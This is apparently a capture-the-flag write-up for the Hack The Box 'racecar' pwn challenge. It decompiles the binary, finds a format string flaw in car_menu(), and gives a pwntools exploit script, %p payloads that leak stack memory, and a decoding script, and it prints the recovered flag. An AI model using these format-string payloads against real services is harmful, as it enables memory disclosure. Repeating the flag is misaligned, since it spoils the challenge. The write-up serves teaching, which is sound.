Short summary:

  • Here’s the challenge: racecar.zip, zip password is hackthebox
  • Good luck writing your pwn script

So, it’s a pwn challenge. For those first-timers, basically you’re given a program that’s also being run on a server. The task is to find a flaw in that program so that you can retrieve the real flag from the server.

This time, we’re given a binary file named racecar. You can grab the binary and try it out yourself, since it’s a fun challenge.

First things first, let’s check what’s it.

$ file racecar 
racecar: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c5631a370f7704c44312f6692e1da56c25c1863c, not stripped

ELF binary, not stripped - which means debugging information’s still there. So let’s find out what it has.

$ readelf -s racecar                                                                                           1
Symbol table '.dynsym' contains 27 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND strcmp@GLIBC_2.0 (2)
     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)
     3: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterT[...]
     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.0 (2)
     5: 00000000     0 FUNC    GLOBAL DEFAULT  UND fgets@GLIBC_2.0 (2)
     6: 00000000     0 FUNC    GLOBAL DEFAULT  UND time@GLIBC_2.0 (2)
     7: 00000000     0 FUNC    GLOBAL DEFAULT  UND sleep@GLIBC_2.0 (2)
     8: 00000000     0 FUNC    GLOBAL DEFAULT  UND alarm@GLIBC_2.0 (2)
     9: 00000000     0 FUNC    GLOBAL DEFAULT  UND __[...]@GLIBC_2.4 (3)
    10: 00000000     0 FUNC    WEAK   DEFAULT  UND [...]@GLIBC_2.1.3 (4)
    11: 00000000     0 FUNC    GLOBAL DEFAULT  UND malloc@GLIBC_2.0 (2)
    12: 00000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (2)
    13: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
    14: 00000000     0 FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.0 (2)

    ... # and a lot more so I'll just skip straight to needed part

    84: 00000000     0 OBJECT  GLOBAL DEFAULT  UND stdout@@GLIBC_2.0
    85: 00004010     0 NOTYPE  GLOBAL DEFAULT   24 __bss_start
    86: 000013e1   168 FUNC    GLOBAL DEFAULT   14 main
    87: 00004008     4 OBJECT  GLOBAL DEFAULT   23 coins
    88: 00001500    20 FUNC    GLOBAL HIDDEN    14 __stack_chk_fail[...]
    89: 0000400c     4 OBJECT  GLOBAL DEFAULT   23 check
    90: 00000000     0 FUNC    GLOBAL DEFAULT  UND atoi@@GLIBC_2.0
    91: 00004010     0 OBJECT  GLOBAL HIDDEN    23 __TMC_END__
    92: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMC[...]
    93: 00000618     0 FUNC    GLOBAL DEFAULT   11 _init
    94: 00001082   336 FUNC    GLOBAL DEFAULT   14 info
    95: 00000b93   111 FUNC    GLOBAL DEFAULT   14 setup

See that main function? We go there. :D

Here’s what I’d got in Ghidra:


/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void main(void)

{
  int iVar1;
  int iVar2;
  int in_GS_OFFSET;
  
  iVar1 = *(int *)(in_GS_OFFSET + 0x14);
  setup();
  banner();
  info();
  while (check != 0) {
    iVar2 = menu();
    if (iVar2 == 1) {
      car_info();
    }
    else {
      if (iVar2 == 2) {
        check = 0;
        car_menu();
      }
      else {
        printf("\n%s[-] Invalid choice!%s\n",&DAT_00011548,&DAT_00011538);
      }
    }
  }
  if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}

Already got the rough idea? I’ve checked car_info() and some other functions, but seems like car_menu() is the only one has some interesting bits to it. Here’s it:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void car_menu(void)

{
  int iVar1;
  int iVar2;
  uint __seed;
  int iVar3;
  size_t sVar4;
  char *__format;
  FILE *__stream;
  int in_GS_OFFSET;
  undefined *puVar5;
  undefined4 uVar6;
  undefined4 uVar7;
  uint local_54;
  char local_3c [44];
  int local_10;
  
  local_10 = *(int *)(in_GS_OFFSET + 0x14);
  uVar6 = 0xffffffff;
  uVar7 = 0xffffffff;
  do {
    printf(&DAT_00011948);
    iVar1 = read_int(uVar6,uVar7);
    if ((iVar1 != 2) && (iVar1 != 1)) {
      printf("\n%s[-] Invalid choice!%s\n",&DAT_00011548,&DAT_00011538);
    }
  } while ((iVar1 != 2) && (iVar1 != 1));
  iVar2 = race_type();
  __seed = time((time_t *)0x0);
  srand(__seed);
  if (((iVar1 == 1) && (iVar2 == 2)) || ((iVar1 == 2 && (iVar2 == 2)))) {
    iVar2 = rand();
    iVar2 = iVar2 % 10;
    iVar3 = rand();
    iVar3 = iVar3 % 100;
  }
  else {
    if (((iVar1 == 1) && (iVar2 == 1)) || ((iVar1 == 2 && (iVar2 == 1)))) {
      iVar2 = rand();
      iVar2 = iVar2 % 100;
      iVar3 = rand();
      iVar3 = iVar3 % 10;
    }
    else {
      iVar2 = rand();
      iVar2 = iVar2 % 100;
      iVar3 = rand();
      iVar3 = iVar3 % 100;
    }
  }
  local_54 = 0;
  while( true ) {
    sVar4 = strlen("\n[*] Waiting for the race to finish...");
    if (sVar4 <= local_54) break;
    putchar((int)"\n[*] Waiting for the race to finish..."[local_54]);
    if ("\n[*] Waiting for the race to finish..."[local_54] == '.') {
      sleep(0);
    }
    local_54 = local_54 + 1;
  }
  if (((iVar1 == 1) && (iVar2 < iVar3)) || ((iVar1 == 2 && (iVar3 < iVar2)))) {
    printf("%s\n\n[+] You won the race!! You get 100 coins!\n",&DAT_00011540);
    coins = coins + 100;
    puVar5 = &DAT_00011538;
    printf("[+] Current coins: [%d]%s\n",coins,&DAT_00011538);
    printf("\n[!] Do you have anything to say to the press after your big victory?\n> %s",
           &DAT_000119de);
    __format = (char *)malloc(0x171);
    __stream = fopen("flag.txt","r");
    if (__stream == (FILE *)0x0) {
      printf("%s[-] Could not open flag.txt. Please contact the creator.\n",&DAT_00011548,puVar5);
                    /* WARNING: Subroutine does not return */
      exit(0x69);
    }
    fgets(local_3c,0x2c,__stream);
    read(0,__format,0x170);
    puts(
        "\n\x1b[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: \x1b[0m"
        );
    printf(__format);
  }
  else {
    if (((iVar1 == 1) && (iVar3 < iVar2)) || ((iVar1 == 2 && (iVar2 < iVar3)))) {
      printf("%s\n\n[-] You lost the race and all your coins!\n",&DAT_00011548);
      coins = 0;
      printf("[+] Current coins: [%d]%s\n",0,&DAT_00011538);
    }
  }
  if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}

You can carefully examine it for studying purpose, but to keep it short, basically it’s:

  • If you choose car 1 and race 2, or car 2 and race 1, you win
  • When you win, it let you input something there, and print it back out

Here’s what would happen:

Now that we’ve known what this program does, how to exploit it?

See this little, cute command somewhere on the 82th line of car_menu() function? :D

printf(__format);

Yeah, as clear as day, a format string vulnerability!

Try to insert a payload there:

[!] Do you have anything to say to the press after your big victory?
> %x%x

The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: 
57916200170

Well, it’s vulnerable.

Since it’s quite troublesome to enter our payload each time, here’s an on-the-spot Python script to make our life easier. :D

#!/usr/bin/env python3

from pwn import *

context.log_level = 'ERROR'

def exploit(payload: str):
	conn = process('./racecar')
	conn.sendlineafter(b'Name', b'aki')
	conn.sendlineafter(b'Nickname', b'aki')
	conn.sendlineafter(b'selection', b'2')
	conn.sendlineafter(b'car', b'1')
	conn.sendlineafter(b'Circuit', b'2')
	conn.sendlineafter(b'victory?', bytes(payload, encoding='utf-8'))
	conn.recv()
	print(conn.recv().decode('utf-8'))
	conn.close()

if __name__ == '__main__':
	while True:
		exploit(input('Enter payload: '))

I also created a flag.txt contains only AAAA, since that’ll be 41414141 in hex - much easier to spot.

[!] Do you have anything to say to the press after your big victory?
> %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: 
0x568e4200 0x170 0x565c8d85 0x5 0x4c 0x26 0x1 0x2 0x565c996c 0x568e4200 0x568e4380 0x41414141 0xa414141 0xf7db0100 0xaf7cc300 0x565c9d58 0x565cbf8c 0xffda98c8 0x565c938d 0x565c9540

It’s the 12th! Now, do just the same with the server, we get:

0x574361c0 0x170 0x56555d85 0x1 0x5e 0x26 0x1 0x2 0x5655696c 0x574361c0 0x57436340 0x7b425448 0x5f796877 0x5f643164 0x34735f31 0x745f3376 0x665f3368 0x5f67346c 0x745f6e30 0x355f3368 0x6b633474 0x7d213f 0xf149d800 0xf7f9e3fc 0x56558f8c 0xfffe9b38 0x56556441 0x1 0xfffe9be4 0xfffe9bec

It doesn’t make much sense, does it? So let’s spin up another convenient script:

#!/usr/bin/env python3
import re

raw_flag = input("Enter the raw data: ")

raw_flag = raw_flag.split()[::-1]

for i in range(len(raw_flag)):
	raw_flag[i] = re.findall('..', raw_flag[i])

flag = []
for chars in raw_flag:
	word = ""
	for char in chars[::-1]:
		if char != '0x':
			word += chr(int(char, 16))
	flag.append(word)

flag.reverse()
print(''.join(flag))

Since it’s not a piece of cake to filter out which bytes are meaningful, let’s just plug all retrieved data to the script, and whatever gibberish it yield out must contain our flag!

In case you’re curious, here’s that gibberish:

]UV^&liUVÀaCW@cCWHTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}ØIñüãù÷UV8dUVä

See our flag in the middle? :D

And that’s it. Nice challenge!